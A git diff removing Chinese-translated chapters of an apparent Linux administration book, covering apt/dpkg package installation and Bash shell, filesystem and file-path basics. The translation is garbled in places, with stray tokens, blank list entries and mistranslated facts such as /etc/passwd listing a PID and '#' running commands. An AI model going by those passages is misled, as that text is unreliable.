这些是最常见的媒体服务器应用,通常适用于几乎任何 Linux 发行版: - -* **Plex 媒体服务器**:将媒体库和流组织到任何设备。 -* **Kodi**:管理和查看媒体。 - -在我们这个高度协作的世界里,屏幕捕捉和录音工具总是会派上用场。 这里只是一些: - -* **屏幕截图**:抓取并保存屏幕或单个窗口的图像(默认安装)。 -* **Kazam**:录制视频或截屏。 -* **OBS Studio**:直播流媒体及屏幕录制。 - -其中一些应用可能需要 CLI 来安装。 其他应用可以在*Ubuntu software*管理用户界面中作为软件包安装程序,也可以通过 APT 软件包管理命令行(`apt-get`)获取。 - -正如前面所示的,通过*Ubuntu Software*管理界面安装应用非常简单。 接下来,我们来看看 Ubuntu 的 APT 包管理平台和 CLI。 - -## 使用 APT 管理软件包 - -APT 是 Ubuntu 默认的包管理器,它是一个用于安装和删除软件包的平台接口。 作为 Ubuntu 的核心系统库,APT 是一组工具和 CLI 程序的集合,这些工具和命令行程序可以帮助进行包和存储库的管理:`apt`,`apt-cache`和`apt-get`。 - -重要提示 - -APT 和 DPKG:本质上,**APT**是对**DPKG**(Debian Linux 发行版的包管理器)的一个扩展(前端)。 `apt`CLI 会调用`dpkg`CLI。 - -让我们看几个使用`apt-get`和`dpkg`CLI 工具来安装和管理软件包的例子。 - -### 案例研究—安装 Java (OpenJDK) - -从 Java 开发人员的角度来看,这个场景是: - -我有一台运行 Ubuntu Desktop 的功能强大的开发机器。 我从事一个需要 Java 开发的项目。 如何在我的机器上安装 OpenJDK ? - -我们假设我们的案例研究使用 Ubuntu 桌面平台和 OpenJDK 14 版本。 - -让我们看看如何安装 OpenJDK (Java 开发工具包): - -1. Before installing OpenJDK, let's make sure the current package lists and installed software packages are up to date. Start by updating the local package repository metadata for all configured sources: - - ```sh - sudo apt-get update -y - ``` - - 接下来,继续升级: - - ```sh - sudo apt-get upgrade -y - ``` - - 以上命令需要*超级用户*(*sudo*)权限。 我们必须为我们的特权(管理员)帐户输入密码。 `-y`选项运行`apt-get`命令而不需要进一步的用户交互。 - -2. 现在,我们准备安装 OpenJDK 14: - - ```sh - sudo apt-get install -y openjdk-14-jre-headless - ``` - -3. Let's make sure the OpenJDK environment is ready. Get the OpenJDK version: - - ```sh - java --version - ``` - - 对于新安装的 OpenJDK,这个命令应该会产生如下的响应(图 1.32): - - ![Figure 1.32 – Testing the OpenJDK installation](img/B13196_01_32.jpg) - - 图 1.32 -测试 OpenJDK 安装 - -4. We can verify the status of the OpenJDK installation with this: - - ```sh - dpkg --list openjdk-14-jre-headless - ``` - - 前一个命令产生的响应类似于图 1.33: - - ![Figure 1.33 – Querying the OpenJDK package using dpkg](img/B13196_01_33.jpg) - - 图 1.33 -使用 dpkg 查询 OpenJDK 包 - - 或者,我们可以使用`apt-cache`命令行来验证 OpenJDK 包的状态: - - ```sh - apt-cache policy openjdk-14-jre-headless - ``` - - 输出类似于图 1.34: - - ![Figure 1.34 – Querying the OpenJDK package using apt-cache](img/B13196_01_34.jpg) - - 图 1.34 -使用 apt-cache 查询 OpenJDK 包 - -5. To remove OpenJDK, run the following: - - ```sh - sudo apt-get remove openjdk-14-jre-headless - ``` - - 或者,你可以使用`dpkg`: - - ```sh - sudo dpkg --remove openjdk-14-jre-headless - ``` - -要了解更多关于`dpkg`CLI 选项的信息,请执行`dpkg --help`命令。 要获取更多关于`apt`CLI 工具的信息,请运行`man apt`。 - -### 案例研究-安装 Plex 媒体服务器 - -这个场景是从家庭影院爱好者的角度来看的: - -我使用 Plex 作为媒体播放器系统,与 Plex 媒体服务器作为后端。 我想把我的 Plex 媒体服务器迁移到 Linux。 如何在 Ubuntu 上安装 Plex Media Server ? - -要在 Ubuntu 上安装**Plex Media Server**(**PMS**),请遵循以下步骤: - -1. Make sure the current package lists and installed software packages are up to date. Start by updating the local package repository for all configured sources: - - ```sh - sudo apt-get update -y - ``` - - 接下来,运行升级: - - ```sh - sudo apt-get upgrade -y - ``` - - 根据供应商的网站,启用相关存储库有一些特定的先决条件,我们在这里没有详细说明。 - -2. 供应商还推荐使用`dpkg`CLI 来安装 PMS; 使用以下命令: - - ```sh - sudo dpkg -i plexmediaserver_1.19.4.2935-79e214ead_amd64.deb - ``` - -3. We can verify the status of our `plexmediaserver` installation with the following: - - ```sh - dpkg --list plexmediaserver - ``` - - 前面的命令得到的响应类似于*图 1.35*: - - ![Figure 1.35 – Querying the PMS package using dpkg](img/B13196_01_35.jpg) - - 图 1.35 -使用 dpkg 查询 PMS 包 - -4. 要删除`plexmediaserver`包,运行以下命令: - - ```sh - sudo dpkg --remove plexmediaserver - ``` - -要了解更多关于`dpkg`CLI 选项的信息,请执行`dpkg --help`命令。 - -# 总结 - -在这一章中,我们学习了 Linux 发行版,重点是根据我们的需要选择正确的平台,并执行相关的安装过程。 在此过程中,我们展示了一些实际操作的、我们认为与所涵盖的主题相关的现实场景,并更好地掌握了我们所学内容的*为什么*或*如何*。 - -在本章中,主要强调的是 Ubuntu 和 CentOS Linux 发行版。 本着实用方法的精神,我们介绍了运行 Linux 的物理环境和 VM 环境。 我们还简要介绍了 Windows 领域,在那里我们接触了 WSL,它是 Linux 作为本机 Windows 应用的现代抽象。 - -我们通过一些实际例子来构建 Linux 工作站,了解如何定制日常工作所需的应用和工具。 - -通过本章学到的技能,我们希望您能够更好地理解如何根据自己的需要选择不同的 Linux 发行版。 您已经了解了如何在各种平台上安装和配置 Linux:服务器、桌面、VM 和 wsdl。 我们还开始探索如何使用 Linux 命令行终端完成案例研究中描述的一些任务。 在本书的其余部分中,您将使用其中的一些技巧,但最重要的是,您现在将轻松地快速部署您选择的 Linux 发行版并使用它进行测试。 - -在当今日益快速和敏捷的开发环境中,**持续集成和**(**CI/CD**)基础架构大量使用 Linux 发行版。 以后的章节将向您介绍容器化工作流,在本章中获得的知识将帮助您设计和部署 Linux 容器。 - -从下一章开始,我们将进一步研究各种 Linux 子系统、组件、服务和应用。 第二章,*Linux 文件系统*将让您熟悉 Linux 文件系统的内部原理和相关工具。 - -# 问题 - -下面是一些你可能会思考的问题和思想实验,其中一些基于你在本章学到的技能,其他的在本书后面的部分揭示: - -1. *My Linux workstation is running low on disk space. How do I uninstall or remove applications that I don't use anymore?* - - 提示:安装了 GUI 包管理工具的软件包可以从同一个 GUI 中卸载(例如,见图*图 1.36*)。 其他的可以使用包管理器 CLI 工具删除(例如,`apt`、`dpkg`和`rpm`)。 - -2. *If I had a relatively large number of Linux VM instances or distros deployed and running at the same time, how would I make it easier to manage them?* - - 提示:使用 Vagrant,一个用于构建和管理 VM 环境的工具。 - -3. *How do I enable multiple GUI desktops (GNOME, KDE) for different users on the same Linux system?* - - 提示:在*安装 Linux 图形用户界面*一节中,我们并排展示了 KDE 和 GNOME 的添加。 每个用户都可以通过自己选择的 GUI 桌面登录(参见*图 1.31*)。 - -4. *I'm looking for a robust email client and team collaboration solution for my Linux workstation.* - - 提示:*附加软件包*部分可能提供一些指导。 - -5. *Can I run multiple Linux instances in WSL?* - - 提示:是的。 使用`wsl --import`。 - -6. *How do I upgrade my Linux machine to a new version of the distro?* - - 提示:创建一个新的 Linux 发行版的可引导媒体,并运行安装程序。 在出现提示时选择升级。 您也可以使用命令行。 查看 Linux 发行版的相关 CLI 工具(例如 Ubuntu 的`do-release-upgrade`)。***** \ No newline at end of file diff --git a/docs/master-linux-admin/02.md b/docs/master-linux-admin/02.md deleted file mode 100644 index 7235091f..00000000 --- a/docs/master-linux-admin/02.md +++ /dev/null @@ -1,1276 +0,0 @@ -# 二、Linux 文件系统 - -了解 Linux 文件系统、文件管理基础知识以及 Linux shell 和命令行界面的基础知识对于现代 Linux 专业人员来说是至关重要的。 - -在本章中,您将学习如何使用 Linux shell 和 Linux 中一些最常见的命令。 您将了解一个基本 Linux 命令的结构以及 Linux 文件系统是如何组织的。 我们将探讨处理文件和目录的各种命令。 同时,我们将向您介绍最常见的命令行文本编辑器。 我们希望在本章结束时,您能够熟练地使用 Linux 命令行终端,并为将来更高级的探索做好准备。 - -我们将涵盖以下主要议题: - -* Linux shell 简介 -* Linux 文件系统 -* 使用文件和目录 -* 使用文本编辑器创建和编辑文件 - -# 技术要求 - -本章要求在服务器、桌面、PC 或**虚拟机**(**VM**)上安装标准 Linux 发行版。 我们的示例和案例研究使用 Ubuntu 和 CentOS 平台,但是所探讨的命令和示例同样适用于任何其他 Linux 发行版。 - -# Linux shell 简介 - -Linux 起源于 Unix 操作系统,它的主要优势之一是命令行界面。 在过去,这被称为*壳*。 在 Unix 中,通过`sh`命令调用 shell。 shell 是一个有两个流的程序:一个*输入流*和一个*输出流*。 输入是用户给出的命令,输出是该命令的结果,或者是对该命令的解释。 换句话说,shell 是用户和机器之间的主要接口。 - -主要 Linux 发行版中的主 shell 称为**Bash**,这是**Bourne 又是 shell**的首字母缩写,以 Steve Bourne (Unix 中 shell 的最初创建者)命名。 Ubuntu、Fedora、CentOS、RHEL、Debian 和 openSUSE 都使用 Bash 作为它们的默认 shell。 除了 Bash,在 Linux 中还有其他 shell 可用,比如**ksh**、**tcsh**和**zsh**。 在本章中,我们将介绍 Bash shell,因为它是现代 Linux 发行版中使用最广泛的 shell。 - -可以为每个用户分配一个 shell。 同一个系统上的用户可以使用不同的 shell。 检查默认 shell 的一种方法是访问`/etc/passwd`文件。 关于这个文件和用户帐户的更多细节将在[*第四章*](04.html#_idTextAnchor073),*管理用户和组*中讨论。 现在,知道在哪里查找默认 shell 是很重要的。 在这个文件中,每一行的最后一个字符代表用户的默认 shell。 `/etc/passwd`文件的每一行都列出了一个用户,并详细说明了其 PID、GID、用户名、主目录和基本 shell。 要查看当前用户的默认 shell,请使用您的用户名(在本例中为`packt`)执行以下命令: - -```sh -cat /etc/passwd | grep packt -``` - -输出应该类似于图 2.1*,只是你会看到你的用户名,而不是我们的:* - -![Figure 2.1 – Showing the user's default shell](img/B13196_02_01.jpg) - -图 2.1 -显示用户的默认 shell - -`/etc/passwd`文件为所有用户提供了许多行,但我们只为用户提取了这一行。 - -查看当前 shell 的一个更简单的方法是运行以下命令: - -![Figure 2.2 – A simpler way to show the shell](img/B13196_02_02.jpg) - -图 2.2 -显示 shell 的一种更简单的方法 - -这将显示正在运行的命令,即 shell。 `$0`是 bash 的一个特殊参数,表示当前正在运行的进程。 如果您安装了其他 shell,则可以根据您的偏好轻松地为用户分配另一个 shell。 然而,如果您了解 Bash,那么您将对所有这些都感到满意。 - -重要提示 - -*Linux shell 区分大小写* 这意味着您在命令行中键入的所有内容都应该遵守这一点。 例如,前面使用的`cat`命令使用小写字母。 如果键入`Cat`或`CAT`,shell 将无法将其识别为命令。 同样的规则也适用于文件路径。 您将注意到主目录中的默认目录的第一个字母使用大写,如`~/Documents`、`~/Downloads`等。 这些名字不同于`~/documents`或`~/downloads`。 - -## Bash shell 特性 - -shell 不仅运行命令。 它有更多的特性,可以让系统管理员在命令行中更加舒适。 - -### 通配符和元字符 - -在 Linux 中,通配符被用来匹配文件名。 通配符有三种主要类型: - -* 星号(`*`):用于匹配任何无字符或多个字符的字符串。 -* 问号(`?`):用于匹配单个字符。 -* 括号(`[ ]`):这用于匹配括号内的任何字符。 - -元字符是在 Linux 和任何基于 unix 的系统中使用的特殊字符。 这些元字符如下: - -* `>`:输出重定向。 -* `>>`:输出重定向。 -* `<`:输入重定向。 -* `<<`:输入重定向。 -* :文件替换通配符(前面已经解释过)。 -* :文件替换通配符(前面已经解释过)。 -* :文件替换通配符(前面已经解释过)。 -* `|`:使用多个命令的管道。 -* `;`:命令执行顺序。 -* `( )`:执行顺序的命令组。 -* `||`:条件执行(OR)。 -* `&&`:条件执行(AND)。 -* `&`:在后台运行命令。 -* `#`:在 shell 中直接使用命令。 -* `$`:变量值扩展。 -* `\`:转义字符。 -* :命令替换。 -* :命令替换。 - -下面是一些使用前面列表中的元字符的示例。 在第一个示例中,我们在另一个命令中使用一个命令的输出,通过在`ls -l`命令中长时间列出`which ls`命令的输出: - -![Figure 2.3 – Example of command execution and substitution](img/B13196_02_03.jpg) - -图 2.3 -命令执行和替换的例子 - -您可以使用管道组合两个命令,将第一个命令的输出作为第二个命令的输入。 在下面的示例中,我们将使用带有`ls -l`命令的`less`命令来显示诸如`/etc`这样的大目录的长列表: - -```sh -ls -l /etc | less -``` - -让我们按顺序执行一些命令。 之后,我们将使用元字符对命令进行分组,并将输出重定向到一个文件。 所有这些都显示在下面的截图中: - -![Figure 2.4 – Example of command sequence execution](img/B13196_02_04.jpg) - -图 2.4 -命令序列执行示例 - -正如您在前面的输出中看到的,可以很容易地使用括号对首先执行的两个命令进行分组。 - -### 支架扩张 - -花括号还可以用来展开命令的参数。 括号不仅仅局限于文件名,比如通配符。 它们适用于任何类型的字符串。 在大括号内,可以使用单个字符串、序列或用逗号分隔的多个字符串。 - -下面是一些使用这种扩展的示例。 首先,我们将使用大括号展开从一个目录中删除两个文件。 其次,我们将展示如何使用大括号展开来创建多个新文件。 假设我们有两个名为`report`和`new-report`的文件,我们想要同时删除它们。 我们将使用以下命令: - -```sh -rm ~/xpackt/{report,new-report} -``` - -要创建共享部分名称的多个文件(例如五个文件),如`file1`,`file2`,…`file n`,我们将使用以下命令: - -![Figure 2.5 – Creating multiple files using brace expansion](img/B13196_02_05.jpg) - -图 2.5 -使用大括号展开创建多个文件 - -大括号扩展是一个强大的工具,它为任何系统管理员的工作流增加了灵活性和强大功能。 - -### Bash shell 变量 - -Bash shell 有一些内置的变量,并且提供了定义自己的变量的可能性。 以下是一些标准内置变量的候选列表: - -* `HOME`:用户的主目录(例如`/home/packt`) -* `LOGNAME`:用户的登录名(例如`packt`) -* `PWD`:shell 当前的工作目录 -* `OLDPWD`:shell 的前一个工作目录 -* `PATH`:shell 的搜索路径(用冒号分隔的目录列表) -* `SHELL`:shell 的路径 -* `USER`:用户登录名 -* `TERM`:终端类型 - -要在 shell 中调用一个变量,您所要做的就是在变量名前面放置一个美元符号`$`。 在您的机器上尝试以下命令: - -```sh -echo $SHELL; echo $USER; echo $TERM; echo $PATH; echo $HOME; echo $PWD -``` - -你也可以分配你自己的 shell 变量,如下面的例子所示: - -![Figure 2.6 – Assigning a new variable](img/B13196_02_06.jpg) - -图 2.6 -分配一个新变量 - -要查看所有 shell 变量,请使用`printenv`命令。 如果列表太长,可以将其重定向到一个文件,如下面的示例所示。 现在你的变量列表在`variables`文件中,你可以通过连接或在文本编辑器(如 vim)中编辑来查看它: - -```sh -printenv > ~/variables -``` - -shell 的变量仅在 shell 内部可用。 如果希望 shell 运行的其他程序知道某些变量,则必须使用`export`命令导出它们。 一旦从 shell 导出变量,它就被称为*环境变量*。 - -### shell 的搜索路径 - -`PATH`变量在 Linux 中是一个非常重要的变量。 它帮助 shell 知道所有程序的位置。 当您在 Bash shell 中输入命令时,它首先必须通过 Linux 文件系统搜索该命令。 有些目录已经在`PATH`变量中列出,但是您也可以添加新的目录。 你的加入可能是暂时的,也可能是永久的,取决于你怎么做。 要使目录的路径临时可用,只需将其添加到`PATH`变量中。 在下面的例子中,我们将把`/home/alex`目录添加到`PATH`: - -![Figure 2.7 – Adding a new location to PATH](img/B13196_02_07.jpg) - -图 2.7 -向 PATH 添加一个新位置 - -要使任何更改永久,必须修改名为`~/.bash_profile`或`~/.bashrc`的文件中的`PATH`变量。 - -### 壳牌的别名 - -Linux shell 支持别名。 它们是为较长命令创建较短命令作为别名的一种非常方便的方法。 例如,在 Ubuntu 中,有一个预定义的别名`ll`,它是`ls -alF`的缩写。 您也可以定义自己的别名。 您可以使它们成为临时的或永久的,类似于变量。 在下面的示例中,我们更改了`ll`命令的别名,如下所示: - -![Figure 2.8 – Changing the alias of a command](img/B13196_02_08.jpg) - -图 2.8 -更改命令的别名 - -这个修改只是临时的,它将在重新启动或 shell 重新启动后恢复为默认值。 如果您想使其永久保存,您应该编辑`~/.bashrc`文件。 - -## shell 连接 - -与外壳的连接采用了两种不同类型:`tty`和`pts`。 `tty` 连接被认为是本机连接,其端口直接连接到您的计算机。 用户和计算机之间的连接主要是通过键盘,键盘被认为是一种本机终端设备。 名称`tty`代表*电传打字机*,它是计算机时代开始使用的一种终端。 - -`pts`连接是通过 SSH 或 Telnet 类型的链路生成。 它的名称代表*伪终端从机*,是由程序(大多数情况下为`ssh`或**xterm**)建立的仿真连接。 它是*伪终端设备*的 slave,即`pty`。 - -### 虚拟控制台/终端 - -终端被认为是一个管理进程和其他 I/O 设备(如键盘和屏幕)之间的输入字符串(即命令)的设备。 还有一些伪终端,它们是行为与经典终端相同的仿真终端。 不同之处在于它不直接与设备交互,因为它都是由 Linux 内核模拟的,它将 I/O 传输到一个称为 shell 的程序。 - -虚拟控制台可以在后台访问和运行,即使没有打开的终端。 访问那些虚拟控制台,您可以使用命令**Ctrl + Alt*+【显示】F1/*【病人】*Ctrl + Alt+*【T15 F2 】 , (...) 【 t16.1】*Ctrl + Alt*+*F5*和**Ctrl + Alt*+*F6*。 这些将分别在您的计算机上打开`tty1,``tty2`、(…)`tty 5`和`tty6`。*** - - **我们将使用 Ubuntu 20.04.1 LTS Server VM 安装来解释这一点,但它在 CentOS 8 中也是一样的。 启动虚拟机并提示使用用户名和密码登录后,屏幕上的第一行将类似如下输出: - -```sh -Ubuntu 20.04.1 LTS ubuntu-server tty1 -``` - -如果您按下上述任意组合键,您将看到终端从`tty1`变为任何其他`tty`实例。 例如,如果你按*Ctrl*+*Alt*+*F6*,你会看到: - -```sh -Ubuntu 20.04.1 LTS ubuntu-server tty6 -``` - -因为我们使用的是 Ubuntu 的服务器版本,所以我们没有安装 GUI。 但是如果你使用的是桌面版,你可以使用*Ctrl*+*Alt*+*F7*进入`X graphical`模式。 - -如果您无法使用上述键盘组合,则有专门的命令用于更改虚拟终端。 该命令称为`chvt`。 尽管我们还没有讨论 shell 命令,但我们将向您展示如何使用它和其他相关命令的示例。 这一行动只能由管理员帐户或通过使用**sudo**(更多细节关于这个在[*第四章*](04.html#_idTextAnchor073),*【显示】)管理用户和组。* - -简单地说,`sudo`代表*超级用户做*,允许任何用户以管理权限或其他用户的权限运行程序。 - -在下面的例子中,我们将在图形环境中使用 CentOS 8。 首先,我们将看到当前使用哪个虚拟终端来更改为另一个而不使用*Ctrl*+*Alt*+*Fn*键。 - -`who`命令将显示有关当前登录到计算机的用户的信息。 在我们的例子中,它将显示用户`packt`当前正在使用虚拟终端 2(`tty2`): - -```sh -who -packt tty2 2020-08-05 16:17 (tty2) -``` - -现在,通过使用`chvt`命令,我们将向您展示如何切换到第六个虚拟终端。 在运行`sudo chvt 6`之后,系统会提示您提供密码,并立即切换到没有 GUI 的虚拟终端 6(记住,我们在 CentOS 8 中使用 GUI 做这个练习)。 再次运行`who`将显示所有登录的用户和他们使用的虚拟终端。 - -## 命令行提示符 - -命令行或 shell 提示符是您输入命令的地方。 通常,命令提示符将显示用户名、主机名、当前工作目录和一个表示运行 shell 的用户类型的符号。 - -下面是来自 Ubuntu 20.04.1 LTS 的一个示例: - -```sh -packt@neptune:~$ _ -``` - -下面是 CentOS 8 的一个例子: - -```sh -[packt@localhost ~]$ _ -``` - -下面是对输出的简短解释: - -* `packt`为当前登录的用户名。 -* `neptune`和`localhost`是主机名。 -* `~`表示主目录(称为波浪线)。 -* `$`表示该用户是普通用户(当您以管理员身份登录时,符号将变为话题标签`#`)。 - -接下来让我们看看 shell 命令类型。 - -## Shell 命令类型 - -shell 使用命令工作,并且它使用两种类型:内部命令和外部命令。 内部命令是在 shell 内部构建的命令。 外部设备单独安装。 如果您想检查正在使用的命令的类型,可以使用`type`命令。 例如,您可以检查命令`cd`(更改目录)的类型: - -![Figure 2.9 – Command type output](img/B13196_02_09.jpg) - -图 2.9 -命令类型输出 - -输出显示`cd`命令是一个内部命令,构建在 shell 内部。 如果您很好奇,您可以找到我们将在下面几节中展示的其他命令的类型。 - -## 命令结构 - -我们已经使用了一些命令,但是我们没有解释 Linux 命令的结构。 我们现在就来做,让你能够理解如何使用命令。 简而言之,Unix 和 Linux 命令有以下形式: - -* 命令的名字 -* 命令的选项 -* 命令的参数 - -在外壳内部,你会有一个像下面这样的一般结构: - -```sh -command [-option(s)] [argument(s)] -``` - -一个简短的例子是`ls`命令的使用(`ls`来自*列表*)。 这个命令是 Linux 中最常用的命令之一。 它列出了文件和目录,可以与选项和参数一起使用,或者作为`ls`。 - -在前面的例子中,我们以最简单的形式使用了`ls`。 它列出了当前工作目录(`pwd`)的内容。 在本例中,它是主目录,由 shell 提示符中的`~`波浪字符表示。 如果您在主目录中,输出应该类似。 - -带有`-l`选项(小写 L)的`ls`命令使用长列表格式,为您提供关于当前工作目录(`pwd`)中的文件和目录的额外信息: - -```sh -ls -l ; ls -l xpact/ -``` - -在前面的示例中,我们使用`ls -l xpackt/`来显示`~/xpackt`目录的内容。 这里展示的是一种既使用选项又使用属性的命令,而不更改当前工作目录的方法。 如果希望查看 to`~/Downloads`目录的内容,可以将该目录的路径作为参数使用该命令。 - -## 手册帮助 - -任何 Linux 系统管理员最好的朋友就是手册。 Linux 中的每个命令都有一个手册页面,该页面向用户提供关于其使用、选项和属性的详细信息。 如果您知道要了解更多信息的命令,只需使用`man`命令进行探索。 例如,对于`ls`命令,您使用`man ls`。 - -该手册将其命令信息组织成不同的部分,每个部分的命名约定在所有发行版上都是相同的。 简单地说,这些部分`name`,`synopsis`,`configuration`,`description`,`options`,`exit status`,`return value`,`errors`,【显示】,`files`,`versions`,`conforming to`,【病人】,`bugs`,`example`,`authors`,【t16.1】和`see also`。 - -当你使用手册时,请记住它不是一个一步一步的指南。 一开始可能会混淆的是技术文档。 我们的建议是尽可能多地使用手册页。 在你在网上搜索任何东西之前,试着先阅读手册。 这将是一个很好的练习,您将很快精通 Linux 命令。 - -与手册页类似,Linux 中的几乎所有命令都有`-help`选项。 您可以使用这个作为快速参考。 - -有关帮助和帮助页的更多信息,您可以查看每个命令的帮助或手册页。 试试下面的命令: - -```sh -$ man man -$ help help -``` - -现在,我们将在下一节中了解 Linux 文件系统。 - -# Linux 文件系统 - -Linux 文件系统由存储在分区或磁盘上的文件的逻辑集合组成。 你的硬盘可以有一个或多个分区。 这些分区通常只包含一个文件系统,它可以扩展到整个磁盘。 一个文件系统可以是`/ (root)`文件系统,另一个可以是`/home`文件系统。 或者,可以只有一个包含所有文件系统的文件系统。 - -通常,每个分区使用一个文件系统被认为是一种良好的实践,因为它允许逻辑维护和管理。 因为 Linux 中的一切都是文件,所以物理设备(如硬盘驱动器、DVD 驱动器、USB 设备和软盘驱动器)也被视为文件。 - -## 目录结构 - -Linux 使用分层的文件系统结构。 它类似于一个倒置的树,根(``/``)位于文件系统的底部。 从这一点开始,所有分支(目录)分布在文件系统中。 - -**文件系统层次结构标准**(**FHS**)定义类 unix 文件系统的结构。 但是,Linux 文件系统还包含一些标准没有定义的目录。 - -### 从命令行探索 Linux 文件系统 - -您可以使用`tree`命令自己探索文件系统。 在 CentOS 8 中,它已经安装,但是如果你使用 Ubuntu,你将必须使用以下命令来安装它: - -```sh -$ sudo apt install tree -``` - -不要害怕探索文件系统,因为只查看四周不会造成任何伤害。 只使用`ls`命令列出目录的内容。 - -我们将在这里向您展示一个示例,因为我们将研究文件系统的一些目录。 我们的测试机器使用的是 Ubuntu 20.04.1 LTS。 我们将通过调用`-L`选项来使用`tree`命令,该选项告诉命令要向下走多少层,最后一个属性表示从哪个目录开始。 因此,该命令将从`root`目录(用正斜杠表示)向下一层: - -```sh -$ tree -L 1 / -``` - -通过使用`ls`命令开始研究结构中的目录,如下所示。 请记住,您即将打开的一些目录将包含大量的文件和/或其他目录,这将使您的终端窗口混乱。 - -下面是在几乎所有版本的 Linux 上存在的目录。 下面是 Linux 根文件系统的快速概述: - -* `/`:根目录:所有其他目录的根目录。 -* 基本命令二进制文件:存放二进制程序的地方。 -* `/boot`:引导加载程序的静态文件:内核、引导加载程序和`initramfs`的存放位置。 -* `/dev`:设备文件:节点到设备的一个内核设备列表。 -* `/etc`:主机特定的系统配置:系统的基本配置文件、引导时间加载脚本、`crontab`、`fstab`设备存储表和`passwd`用户帐户文件。 -* `/home`:用户的主目录:用户文件存放的地方。 -* `/lib`:基本共享库和内核模块:共享库类似于 Windows DLL 中的**Dynamic Link Library**(**DLL**)文件。 -* `/media`:可移动媒体挂载点:用于外部设备和 USB 外部媒体。 -* `/mnt`:临时挂载文件系统的挂载点:用于遗留系统。 -* `/opt`:附加应用软件包:安装*可选*软件的位置。 -* `/proc`:内核管理的虚拟文件系统:一种特殊的目录结构,其中包含系统必需的文件。 -* `/sbin`:基本系统二进制:系统运行的重要程序。 -* `/srv`:本系统提供的业务数据。 -* `/tmp`:临时文件。 -* `/usr`:二级结构:Linux 中包含普通系统用户支持文件的最大目录; `/usr/bin`-系统可执行文件; `/usr/lib`-来自`/usr/bin`的共享库; 源码编译程序不包括在发行版中; /`usr/sbin`-具体的系统管理方案; `/usr/share`-在`/usr/bin`中程序共享的数据,如配置文件、图标、壁纸或声音文件; 系统范围文件的文档。 -* `/var`:可变数据:此处只存储用户可修改的数据,如数据库、打印假脱机文件、用户邮件等; 包含注册系统活动的日志文件。 - -接下来,我们将了解如何使用这些文件和目录。 - -# 使用文件和目录 - -记住,Linux 中的所有东西都是一个文件。 目录也是一个文件。 因此,知道如何与他们合作是至关重要的。 在 Linux 中处理文件意味着使用几个命令进行基本的文件和目录操作、文件查看、文件创建、文件位置、文件属性和链接。 有些命令(这里不讨论,但它们的使用与文件密切相关)将在下一节中介绍。 - -## 了解文件路径 - -FHS 中的每个文件都有一个*路径*。 路径是文件的位置(以易读的形式表示)。 在 Linux 中,所有的文件都存储在根目录下,使用 FHS 作为标准来组织它们。 系统内的文件和目录之间的关系通过正斜杠字符(`/`)表示。 在整个计算历史中,它被用作描述地址的符号。 路径实际上是文件的地址。 - -在 Linux 中有两种路径类型,*相对*路径和*绝对*路径。 绝对路径总是从根目录开始,沿着系统的各个分支一直到所需的文件。 相对路径总是引用当前工作目录并表示其相对路径。 因此,相对路径总是相对于当前工作目录的路径。 - -绝对路径对于了解何时使用文件非常有用。 经过一些练习,您将了解到最常用文件的路径。 例如,您需要学习的一个文件的路径是`passwd`文件。 它位于`/etc`目录中。 因此,当您要引用它时,您将使用它的绝对路径`/etc/passwd`。 使用该文件的相对路径意味着您要么在它的父目录中,要么在 FHS 中接近的某个地方。 - -使用相对路径需要了解用于 FHS 的两个特殊字符。 一个特殊字符是点(`.`),它指向当前目录。 另一个是两个连续的点(`..`),表示当前目录的父目录。 在使用相对路径时,确保始终检查您所处的目录。 使用`pwd`命令显示当前的工作目录。 - -使用相对路径的一个很好的例子是当您已经在父目录中并且需要引用它时。 如果您需要查看存储在`passwd`文件中的系统帐户列表,可以使用相对路径引用它。 在这个练习中,我们在主目录中: - -![Figure 2.10 – File paths related to the current working directory](img/B13196_02_10.jpg) - -图 2.10 -与当前工作目录相关的文件路径 - -首先,我们使用`pwd`命令检查当前的工作目录,输出是主目录的路径`/home/packt`。 其次,我们试图从主目录中使用`cat`(连接)命令显示`passwd`文件的内容,但是输出是一个错误消息,说在我们的主目录中没有这样的文件或目录。 我们使用了相对路径,它总是相对于我们当前的工作目录,因此出现了错误。 再次,我们使用双连续点特殊字符来表示文件及其相对路径。 - -提示 - -总是使用键盘上的*Tab*键进行自动补全,并检查您输入的路径是否正确。 在前面的例子中,我们键入`../../etc`并按下*Tab*,这将自动完成一个正斜杠。 然后,我们键入我们要查找的文件的前两个字母,并再次按下*Tab*。 这显示了以`pa`开始的`/etc`目录中的文件列表。 看到`passwd`在那里,我们知道路径是正确的,所以我们又输入了两个`s`字符,并再次按下*Tab*。 这为我们完成了命令,我们按下*Enter*/*Return*来执行命令。 - -最后一个命令的路径是相对于我们的主目录和翻译如下:*连接文件名称*`passwd`*,位于*`/etc`【显示】目录的父目录(两个点)的父目录(第二两个点)我们的当前目录(家)。 因此,`/etc/passwd`绝对路径被转换为到我们的主目录的相对路径,就像这样:`../../etc/passwd`。 - -## 基本文件操作 - -每天,作为系统管理员,您将操作文件。 这包括创建、复制、移动、列出、删除、链接等等。 这些操作的基本命令已经在本章中讨论过了,但是现在是时候深入了解它们的使用、选项和属性的更多细节了。 下面将详细介绍其他更高级的命令。 - -### 创建文件 - -在某些情况下需要创建新文件。 您可以使用`touch`命令创建一个新的空文件。 当您使用它时,它将创建一个以您为文件所有者的新文件,其大小为 0,因为它是一个空文件。 在下面的例子中,我们在`~/xpackt/`目录中创建了一个名为`new-report`的新文件。 - -`touch`还可以修改文件的修改时间,但不改变文件本身。 注意我们第一次创建`new-report`文件时的初始时间与使用`touch`命令后的新时间之间的差异: - -![Figure 2.11 – Using the touch command to create and alter files](img/B13196_02_11.jpg) - -图 2.11 -使用 touch 命令创建和修改文件 - -您也可以通过`touch`命令中的`-a`选项来更改访问时间。 默认情况下,`ls`命令的长列表只显示修改/创建时间。 如果您想查看访问时间,可以使用`- time`选项中的`atime`参数: - -![Figure 2.12 – Using touch to alter the access time](img/B13196_02_12.jpg) - -图 2.12 -使用触摸改变访问时间 - -修改、创建和访问时间戳非常有用,特别是在使用`find`这样的命令时。 它们为您提供了一个更细化的*搜索模式。* - - *#### echo 命令 - -还可以使用重定向和`echo`命令创建文件。 `echo`是一个将字符串作为参数输出到标准输出(屏幕)的命令。 例如,如果你使用如下截图所示的命令,它将打印文本到屏幕上: - -![Figure 2.13 – Using the echo command to print to the standard output (screen)](img/B13196_02_13.jpg) - -图 2.13 -使用 echo 命令打印到标准输出(屏幕) - -在前面的屏幕截图中,您可以看到将`text`打印到屏幕上的三种不同方式。 它们都有相同的输出。 `echo`命令的输出可以通过输出重定向直接写入文件: - -![Figure 2.14 – Using echo with output redirection](img/B13196_02_14.jpg) - -图 2.14 -使用带有输出重定向的 echo - 